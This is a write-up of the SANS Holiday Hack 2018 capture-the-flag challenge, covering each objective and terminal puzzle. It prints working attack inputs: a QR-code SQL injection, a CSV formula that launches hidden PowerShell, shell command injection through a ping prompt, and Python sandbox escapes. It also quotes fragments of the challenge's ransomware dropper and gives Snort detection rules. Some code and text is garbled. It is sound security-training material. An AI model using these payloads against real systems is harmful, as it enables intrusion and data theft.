text: SANS Holiday Hack 2018 Writeup
  Every year during the holiday season, SANS publishes their annual Holiday Hack Challenge. These challenges are a great way to learn new and useful exploitation techniques to solve fun puzzles.
  The Duo Labs team always enjoys participating in the Holiday Hack Challenge, and have written about our solutions in the past. The challenges have been very polished, and this year is no exception.
  As always, we first want to extend our thanks to Ed Skoudis and the SANS team for always putting together a thorough, fun challenge that never fails to teach something new.
  This year’s Holiday Hack Challenge revolved around a virtual security conference called KringleCon hosted in the North Pole by Santa himself. As part of the conference, we’re asked to solve 10 technical objectives as well as mini-challenges in the form of a “Cranberry Pi” terminal.
  For this writeup, we’ll focus on the solutions to the objectives first, followed by the Cranberry Pi solutions.
  Objectives
  Objective 1: Orientation Challenge
  What phrase is revealed when you answer all of the questions at the KringleCon Holiday Hack History kiosk inside the castle?
  Visiting the kiosk gives six questions about previous challenges. The answers were:
  1. In 2015, the Dosis siblings asked for help understanding what piece of their "Gnome in Your Home" toy?
  a) Answer: Firmware
  2. In 2015, the Dosis siblings disassembled the conspiracy dreamt up by which corporation?
  a) Answer: ATNAS
  3. In 2016, participants were sent off on a problem-solving quest based on what artifact that Santa left?
  a) Answer: Business Card
  4. In 2016, Linux terminals at the North Pole could be accessed with what kind of computer?
  a) Answer: Cranberry Pi
  5. In 2017, the North Pole was being bombarded by giant objects. What were they?
  a) Answer: Snowballs
  6. In 2017, Sam the snowman needed help reassembling pages torn from what?
  a) Answer: The Great Book
  Objective 2: Directory Browsing
  Who submitted (First Last) the rejected talk titled Data Loss for Rainbow Teams: A Path in the Darkness? Please analyze the CFP site to find out.
  The CFP site contains a single link encouraging us to apply to the KringleCon CFP:
  The “Apply Now!” button contains a link to. Removing the “cfp.html” shows that directory indexing is enabled, revealing the file “rejected-talks.csv”:
  Opening the file and searching for the talk title “Data Loss for Rainbow Teams: A Path in the Darkness” reveals it was submitted by John McClane.
  Objective 3: de Bruijn Sequences
  When you break into the speaker unpreparedness room, what does Morcel Nougat say?
  The speaker unpreparedness room was protected by a combination lock:
  As the objective title suggests, we can use a de Bruijn sequence to generate a set of codes that will enumerate all possible combinations.
  To solve the challenge, I first used an online generator to create the de Bruijn sequence. I’m lazy, so instead of entering the combination manually, I wrote a script to do it for me, which quickly found the correct code:
  Trying code: 1001
  Trying code: 0012
  Trying code: 0120
  Found the code: 0120
  Inside the speaker unpreparedness room, Morcel Nougat says “Welcome unprepared speaker!”
  Objective 4: Data Repo Analysis
  Retrieve the encrypted ZIP file from the North Pole Git repository. What is the password to open this file?
  We cloned the repository using:
  git clone
  Viewing the previous changes in the Git history using
  git log -p reveals this diff:
  commit 7f46bd5f88d0d5ac9f68ef50bebb7c52cfa67442
  Author: Shinny Upatree shinny.upatree@kringlecastle.com
  Date: Tue Dec 11 08:25:45 2018 +0000
  removing file
  diff --git a/schematics/for_elf_eyes_only.md b/schematics/for_elf_eyes_only.md
  deleted file mode 100644
  index b06a507..0000000
  --- a/schematics/for_elf_eyes_only.md
  +++ /dev/null
  @@ -1,15 +0 included in the diff is the answer to the challenge: “Yippee-ki-yay.” This password is also used to extract the contents of the file “ventilation_diagram.zip” included in the repository. This gives maps that are used to solve the ventilation maze mini-challenge.
  Objective 5: AD Privilege Discovery
  Using the data set contained in this SANS Slingshot Linux image, find a reliable path from a Kerberoastable user to the Domain Admins group. What’s the user’s logon name? Remember to avoid RDP as a control path as it depends on separate local privilege escalation flaws.
  The VM contains an installation of Bloodhound, which is a fantastic tool used to find paths to Domain Admin. One of the features of Bloodhound is the ability to query for the shortest paths to Domain Admins from Kerberoastable users:
  Running this query gives us a graph that looks like this:
  We’re told to avoid RDP as a control path. The only path that does not use RDP is the one towards the middle of the graph, where LDUBEJ00320@AD.KRINGLECASTLE.COM is an admin to a computer which has a domain admin session. That’s the answer to this objective.
  Objective 6: Badge Manipulation
  Bypass the authentication mechanism associated with the room near Pepper Minstix. A sample employee badge is available. What is the access control number revealed by the door authentication panel?
  For this objective, we’re given a disabled badge for Alabaster Snowball which contains a QR code:
  The QR code encodes a random string of characters. As part of the hint, we’re told that the QR code reader may have a SQL injection vulnerability, which suggests that we need to create a fake QR code containing our SQLi payload.
  To make this easier, I used the
  qrcode Python library. To start, I created a QR code with a single quote:
  $ qr “‘“ > test.png
  This returned a SQL error, indicating the endpoint is vulnerable to SQL injection:
  {"data":\")","request":false}
  To solve the challenge, I created a QR code with an always true boolean, ensuring the account is enabled:
  qr "' OR '1'='1' AND enabled = 1 LIMIT 1#" > badge.png
  Uploading this QR code exploits the vulnerability, giving us the access code:
  Objective 7: HR Incident Response
  Santa uses an Elf Resources website to look for talented information security professionals. Gain access to the website and fetch the document C:\candidate_evaluation.docx. Which terrorist organization is secretly supported by the job applicant whose name begins with "K."
  This challenge allows us to upload a CSV, suggesting that we should use DDE injection. I first tried downloading and executing a reverse shell using Powershell Empire, but I couldn’t get it to work. As a fallback, I noticed when visiting a random URL that the site displayed the full path to the uploads directory:
  This suggests that maybe we can copy the file to the publicly accessible folder and download it from there. To make a copy of the file, I created a CSV with the following:
  =cmd|'/c powershell.exe -W Hidden Copy-Item "C:\candidate_evaluation.docx" "C:\careerportal\resources\public\randomfilename.docx";'!A1
  Uploading this and then requesting gave us the file with the flag:
  Objective 8: Network Traffic Forensics?
  This one was tricky! After solving a Cranberry Pi challenge, an elf suggests that the HTML tells us where the server-side code is. After creating an account and logging in, this comment is found in the page:
  We can download app.js from /pub/app.js, revealing portions of the code.
  Our goal is to decrypt HTTP/2 traffic, so we want to look for the private keys used by the server. Looking through the code, it appears that there’s a
  keylog file which claims to be used to view traffic:
  To get the
  keylog file, we need to determine the values for the
  DEV and
  SSLKEYLOGFILE environment variables. Looking further in the code, we see that the environment variables are populated into an
  env_dirs variable (remember: we previously saw that
  dev_mode is enabled).
  The variable
  env_dirs is used to set up and serve routes, with an error handler in case things go wrong:
  This means that if we craft URLs in the form of
  /[environment_variable]/filename, the value of the environment variable will be retrieved and used when serving the file. We can see this happening if we try the URL
  /SSLKEYLOGFILE/bogusfile:
  The error is thrown since the file doesn’t exist, revealing the value of the environment variable! We can do the same thing for the
  DEV environment variable, revealing that the value is “dev”.
  Putting these together, we can retrieve our keylog file from
  /dev/packalyzer_clientrandom_ssl.log:
  We then used the site to take a PCAP containing the HTTP/2 traffic. Importing these keys into Wireshark decrypts the traffic, revealing credentials submitted for Alabaster Snowball:
  Logging into the site using these credentials allows us to download a “super_secret_packet_capture.pcap” file:
  Opening the PCAP reveals a single SMTP connection containing an email from Holly Evergreen to Alabaster:
  The email contains an attachment encoded as base64. Decoding the contents gives us a PDF file describing how to transpose music, using “Mary Had a Little Lamb” as the example (which is also the solution to the objective):
  Objective 9: Ransomware Recovery
  Alabaster Snowball is in dire need of your help. Santa's file server has been hit with malware. Help Alabaster Snowball deal with the malware on Santa's server by completing several tasks.
  Using the access code from Objective 6 to get access to the back room, we’re given multiple challenges emulating a ransomware response.
  H4 - Objective 9.1: Catch the Malware
  Assist Alabaster by building a Snort filter to identify the malware plaguing Santa's Castle.
  For this challenge, we’re given access to an IDS sensor and asked to write a Snort rule that matches only bad DNS traffic. We started by using
  tshark to see what DNS traffic we’ve logged:
  elf@cb35571ec7af:~$ tshark -r snort.log.pcap -e dns.qry.name -T fields
  lobbyists.frays.preoffering.baidu.com
  lobbyists.frays.preoffering.baidu.comhusabegr.combasruehg.net
  0.77616E6E61636F6F6B69652E6D696E2E707331.nrbasruehg.net
  frays.360.cn
  frays.360.cnhusabegr.com
  1.77616E6E61636F6F6B69652E6D696E2E707331.nrhusabegr.com
  We see a number of DNS requests that appear to have the pattern
  [sequence number].[38 character random hex string].[domain]. Here are Snort rules that catch outbound DNS requests and inbound DNS responses for this pattern:
  alert udp any any -> any 53 ( msg:"Ransomware"; pcre:"/[0-9A-F]{38}/"; sid:12345; )
  alert udp any 53 -> any any ( msg:"Ransomware"; pcre:"/[0-9A-F]{38}/"; sid:12346; )
  Saving the rules in
  /etc/snort/rules/local.rules solves the objective:
  H4 - Objective 9.2: Identify the Domain
  Using the Word docm file, identify the domain name that the malware communicates with.
  After solving this problem, talking to Alabaster gives us the macro-enabled doc. We can use oledump.py to get the OLE streams:
  ~ $ python oledump.py /malware/CHOCOLATE_CHIP_COOKIE_RECIPE.docm
  A: word/vbaProject.bin
  A1: 468 'PROJECT'
  A2: 95 'PROJECTwm'
  A3: M 2251 'VBA/Module1'
  A4: M 2400 'VBA/NewMacros'
  A5: m 924 'VBA/ThisDocument'
  A6: 2641 'VBA/_VBA_PROJECT'
  A7: 620 'VBA/dir'
  This tells us that stream A3 has a VBA macro. Dumping the variable provides the payload:
  ~ $ python oledump.py -s A3 -v /malware/CHOCOLATE_CHIP_COOKIE_RECIPE.docm
  Attribute VB_Name = "Module1"
  Private Sub Document_Open()
  This is a typical macro that launches Powershell. To get the next step in the payload, we need to base64-decode the contents, and then decompress them using the deflate algorithm.
  To let Powershell do the hard work for us, we changed the call to
  iex to instead pipe the output to
  Out-File. This essentially tells Powershell to dump out the command to a file instead of running it.
  This gives us the (roughly formatted) following payload:
  function H2A($a) {
  $o; $a -split '(..)' | ? { $_ } | forEach {char} |
  };
  iex($(H2A $h | Out-string))
  This mimics what we saw in the original PCAP - a series of DNS requests in the format of sequence_number.77616E6E61636F6F6B69652E6D696E2E707331.erohetfanu[.]com. Essentially, the payload to execute is retrieved via a series of DNS TXT requests.
  The answer to the objective is the domain erohetfanu[.]com (without the brackets).
  H4 - Objective 9.3: Stop the Malware
  Identify a way to stop the malware in its tracks!
  We can use the same
  iex ->
  Out-File treatment on the previous function to get the final payload, which you can find here.
  The payload looks to mimic WannaCry, containing various encryption routines. Our job is to find a way to kill the malware, aka a “killswitch.” Since this is a clone of WannaCry, it’s likely that we’ll need to find a check in the code for a domain that isn’t registered and register it using their system.
  Following the advice from the “Analyzing Powershell Malware” KringleCon talk, we fired up Powershell ISE and set a breakpoint above what appeared to be a check for a domain that would cause the malware to shutdown. We added a line above to print out the domain being checked, resulting in the domain being printed to the terminal:
  Registering this domain solved the challenge:
  H4 - Objective 9.4: Recover Alabaster's Password
  Recover Alabaster's password as found in the the encrypted password vault.
  The last step is to decrypt the encrypted password database. This was another really tricky one! To start the challenge, we’re given the encrypted database as well as a memory dump that was taken while the malware was running.
  Looking through the final Powershell payload we decoded in the previous objective, we see that this malware works by generating a unique, random symmetric key and encrypting it using a certificate containing a public key which is retrieved from DNS. In our memory dump, we won’t have the original symmetric key, since it was cleared. Instead, we have the encrypted version of the key stored in the variable
  $p_k_e_k. Our goal will be to obtain the master private key so that we can decrypt our symmetric key, which we can then use to decrypt the password database.
  Studying the payload, we notice that one call to the function
  g_o_dns used “A2H source.min.html” as the argument, which would convert “source.min.html” to hex and make the request via DNS. The other call was to get the certificate, and the argument was “7365727665722E637274”, which looked like it might be valid ASCII.
  Sure enough, decoding the value into ASCII gives us the filename requested:
  '7365727665722E637274'.decode('hex')
  server.crt
  Normally, keys are created as “server.crt” and “server.key”. Encoding “server.key” into hex and making the DNS requests returned the private key:
  PS> $(g_o_dns((A2H "server.key")))
  ----
  Now that we have the private key, we just need to find the encrypted symmetric key used to encrypt Alabaster’s password database. We can execute the malware in a VM, setting a breakpoint to dump out what a sample
  $p_k_e_k looks like, which gives us the following:
  Hit Line breakpoint on 'C:\Users\vm_user\Desktop\wannacookie.ps1:220'
  [DBG]: PS C:\Windows\system32>> $p_k_e_k
  a194f883ed6f6f7565b24eed97050f63c413dd14a4d753d80a054aade07e94e33070c3b6e32b65df0ed949be624892b167d7ba398639ce32e7f7d
  00ad7835cd3fe7bb951cffbaaf2dd5cd837b8f893378d4e5c4757cec56358d94e2f9a69b7d1d535239061e5dc166e8343b90d1a16f8f1c2bbf1f9
  22163c40399798308a82fe3c4938b9588dcf83ae6d7155dde8775655a6a326cd44323a71252f590c834f2c7e786928455998a3057d285326f39db
  2104b992aa0347abf04fbe55bb57e5476ff459c1cf4b459ebf33f3cd9c3e67ac3d772cc1b72da48902b665aa5c2364140a92611de5e9d17ebb5a5
  7790d5ad72882a32e714d02229f1dce1e0aec1e24219
  Seeing that the key is 512 bytes, we can search the provided memory dump for other 512 character variables to find the
  $p_k_e_k used when Alabaster’s password database was being encrypted, revealing:
  : len == 512
  ================ Filters ================
  1| LENGTH len(variable_values) == 512
  - [i] 1 powershell Variable Values found!
  We want to decrypt this key using our obtained private key. To do this, I converted the encrypted key into raw bytes:
  xxd -r -p encrypted_key.hex > encrypted_key
  Then, I used OpenSSL to decrypt the key:
  openssl rsautl -decrypt -inkey server.key -in encrypted_key -oaep
  Note: This took me forever to figure out since I didn’t realize Powershell used OAEP padding when doing RSA operations. By default, OpenSSL uses PKCS#1 v1.5 padding.
  With the key in-hand, I made a Powershell script that took pieces from the original malware to decrypt the password database. You can find the script here.
  This gives us an SQLite database that we can open, revealing the password to the vault!
  Objective 10: Who Is Behind It All?
  Who was the mastermind behind the whole KringleCon plan? And, in your emailed answers please explain that plan.
  For the last challenge, we need to unlock the Piano Lock. The chords we found in the password vault don’t work, with the message claiming it’s off-key.
  The idea here is to use the information from the PDF we found earlier to figure out how to transpose the notes by hand. But you’ll recall that I’m lazy, so I wrote a script using the
  pychord module to transpose the chords in various steps. It turns out that the answer is that we need to go back a whole step, so the final combination is: DC#DC#DDC#DEF#EF#GAG#AG#A.
  In the secret room, we discover that Santa was behind the entire challenge, since he wanted to recruit new people to join the North Pole’s security team.
  Cranberry Pi
  Essential Editor Skills
  To solve this challenge, we need to exit the editor using
  :q. Easy enough!
  The Name Game
  For this Cranberry Pi, we’re asked to find the first name of an employee with the last name of “Chan.”
  Using the “verify the system” command, we can see that a call to ping is being executed, and we see hints that a database called “onboard.db” is available:
  Enter address of server: example.com
  ping: unknown host example.com
  onboard.db: SQLite 3.x database
  We can inject commands by terminating the ping command using a semicolon. We can start by listing the contents of the directory which confirms the existence of “onboard.db”:
  Enter address of server: ; ls
  menu.ps1 onboard.db runtoanswer
  onboard.db: SQLite 3.x database
  We dumped the contents of “onboard.db” using the
  .dump SQLite command, filtering the content with
  grep to find the user with the last name “Chan”:
  Enter address of server: ; sqlite3 onboard.db .dump | grep Chan
  INSERT INTO "onboard" VALUES(84,'Scott','Chan','48 Colorado Way',NULL,'Los Angeles','90067',
  '4017533509','scottmchan90067@gmail.com');
  onboard.db: SQLite 3.x database
  We used the same technique to launch
  runtoanswer to submit the answer:
  Enter address of server: ; ./runtoanswer
  Enter Mr. Chan's first name: Scott
  CURLing Master
  Looking in
  /etc/nginx/nginx.conf, we see that HTTP2 is enabled:
  love using the new stuff! -Bushy
  listen 8080 http2;
  To make a successful connection, we need to pass the --http2-prior-knowledge to curl:
  elf@c63d66fe3f31:~$ curl --http2-prior-knowledge localhost:8080
  <
  p>To turn the machine on, simply POST to this URL with parameter "status=on"
  We are told that we need to send a POST request with a
  status argument set, so we’ll do it using the same curl technique:
  $ curl --http2-prior-knowledge localhost:8080 -XPOST -d "status=on"
  <
  p>To turn the machine on, simply POST to this URL with parameter "status=on"
  This solved the challenge!
  The Sleighbell
  This challenge asks us to win a fake lottery provided by a binary, “sleighbell-lotto.” This is very similar to the “Wumpus” terminal challenge from the 2016 Holiday Hack challenge, so we approached it the same way.
  The first step is to load the binary in GDB, disassembling the
  main function to see if any functions stand out:
  elf@e072ce7764b7:~$ gdb sleighbell-lotto
  (gdb) set disassembly-flavor intel
  (gdb) disassemble main
  Dump of assembler code for function main:
  0x00000000000014ca <+0>: push rbp
  0x00000000000014cb <+1>: mov rbp,rsp
  0x00000000000014ce <+4>: sub rsp,0x10
  0x00000000000014d2 <+8>: lea rdi,[rip+0x56d6] # 0x6baf
  0x0000000000001582 <+184>: cmp DWORD PTR [rbp-0x4],0x4c9
  0x0000000000001589 <+191>: jne 0x1597 <main+205>
  0x000000000000158b <+193>: mov eax,0x0
  0x0000000000001590 <+198>: call 0xfd7
  0x0000000000001595 <+203>: jmp 0x15a1 <main+215>
  0x0000000000001597 <+205>: mov eax,0x0
  0x000000000000159c <+210>: call 0x14b7
  0x00000000000015a1 <+215>: mov edi,0x0
  0x00000000000015a6 <+220>: call 0x920 <exit@plt>
  End of assembler dump.
  It looks like we’ll want to jump to the
  winnerwinner function. We can set a breakpoint at
  main, launch the program, and then make our jump:
  (gdb) break main
  Breakpoint 1 at 0x14ce
  (gdb) run
  Starting program: /home/elf/sleighbell-lotto
  [Thread debugging using libthread_db enabled]
  Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
  Breakpoint 1, 0x00005555555554ce in main ()
  (gdb) jmp winnerwinner
  Undefined command: "jmp". Try "help".
  (gdb) jump winnerwinner
  Continuing at 0x555555554fdb.
  Congratulations! You've won, and have successfully completed this challenge.
  DevOps Fail
  This terminal is nearly identical to objective 4 earlier. We used the same
  git log -p approach to find the following diff, which includes deleted credentials: -};
  diff --git a/server/config/config.js.def b/server/config/config.js.def
  new file mode 100644
  index 0000000..740eba5
  --- /dev/null
  +++ b/server/config/config.js.def
  @@ -0,0 +1,4 @@
  +// Database URL
  +module.exports = {
  - 'url' : 'mongodb://username:password@127.0.0.1:27017/node-api'
  +};
  Stall Mucking Report
  For this challenge, we’re given a hint that there are automated tasks being executed on the system which may contain credentials. Listing the running processes reveals the password:
  $ ps aux | less
  root 11 0.0 0.0 49532 3284 pts/0 S 04:49 0:00 sudo -u manager /home/manag
  er/samba-wrapper.sh --verbosity=none --no-check-certificate --extraneous-command-argument --
  do-not-run-as-tyler --accept-sage-advice -a 42 -d~ --ignore-sw-holiday-special --suppress --
  suppress //localhost/report-upload/ directreindeerflatterystable -U report-upload
  In this command, we’re given the user, “report-upload” and the password “directreindeerflatterystable.” We used these credentials to upload the report:
  elf@d16ab90ad95b:~$ smbclient -U report-upload //localhost/report-upload -c 'put report.txt'
  Python Escape from LA
  For this challenge, we need to escape out of a Python sandbox. The
  dir command is a good place to start, showing us what functions are available:
  dir()
  ['builtins', 'cached', 'doc', 'file', 'loader', 'name', 'package
  , 'spec', 'banner', 'code', 'readfilter', 'readline', 'restricted_terms', 'whitelist
  In this case, we see a module,
  code is available, which implements RPEL’s in Python:
  help(code)
  Help on module code:
  NAME
  code - Utilities needed to emulate Python's interactive interpreter.
  …
  We can call
  code.interact, which starts a new RPEL without the restrictions, letting us execute commands:
  code.interact()
  Python 3.5.2 (default, Nov 12 2018, 13:43:14)
  [GCC 5.4.0 20160609] on linux
  Type "help", "copyright", "credits" or "license" for more information.
  (InteractiveConsole)
  import subprocess
  subprocess.call("./i_escaped")
  We could also solve this challenge a different way, since the
  eval function is available to us. Using the technique from the “Escaping Python Shells” KringleCon conference talk, we split our commands into multiple strings to bypass the filtering:
  subprocess = eval('im' + 'port("subprocess")')
  subprocess
  eval('subprocess' + '.call("./i_escaped")')
  Lethal ForensicELFication
  Looking at the files in the directory, we see .viminfo which is used to help Vim remember what edits had been done:
  $ ls -alh
  Searching through .viminfo shows “Elinore” being replaced, which is the answer to the challenge.
  elf@40d1ad20a995:~$ cat .viminfo"
  Search String History (newest to oldest):
  ? Elinore
  |2,1,1536607217,,"Elinore"
  Yule Log Analysis
  For this challenge, we’re asked to search through Windows event logs looking for a successful login from a malicious attacker. We started by using the
  evtx_dump.py script to convert the entries to XML, making them easier to work with:
  elf@c28b4404947c:~$ python evtx_dump.py ho-ho-no.evtx > ho-ho-no.xml
  elf@48d61bd0ea42:~$ grep "EventID Qualifier" ho-ho-no.xml | sort | uniq -c | sort -nr
  756
  212
  109
  108
  45
  34
  10
  2
  2
  2
  2
  1
  1
  1
  1
  1
  1
  Looking through the events, event ID 4625 stands out since that’s the Windows login denied error code. Filtering for those entries, we see a bunch of failed login attempts from the same IP for different usernames, which is indicative of credential spraying:
  30d}">
  WIN-KCON-EXCH16$
  EM.KRINGLECON
  0x00000000000003e7
  S-1-0-0
  arun.kumar
  EM.KRINGLECON
  0xc000006d
  %%2313
  0xc0000064
  8
  Advapi
  Negotiate
  WIN-KCON-EXCH16
  C:\Windows\System32\inetsrv\w3wp.exe
  172.31.254.101
  40427
  I wrote a script to search through the logs to find a successful login from this IP address, yielding this result:
  Username minty.candycane was broken into by 172.31.254.101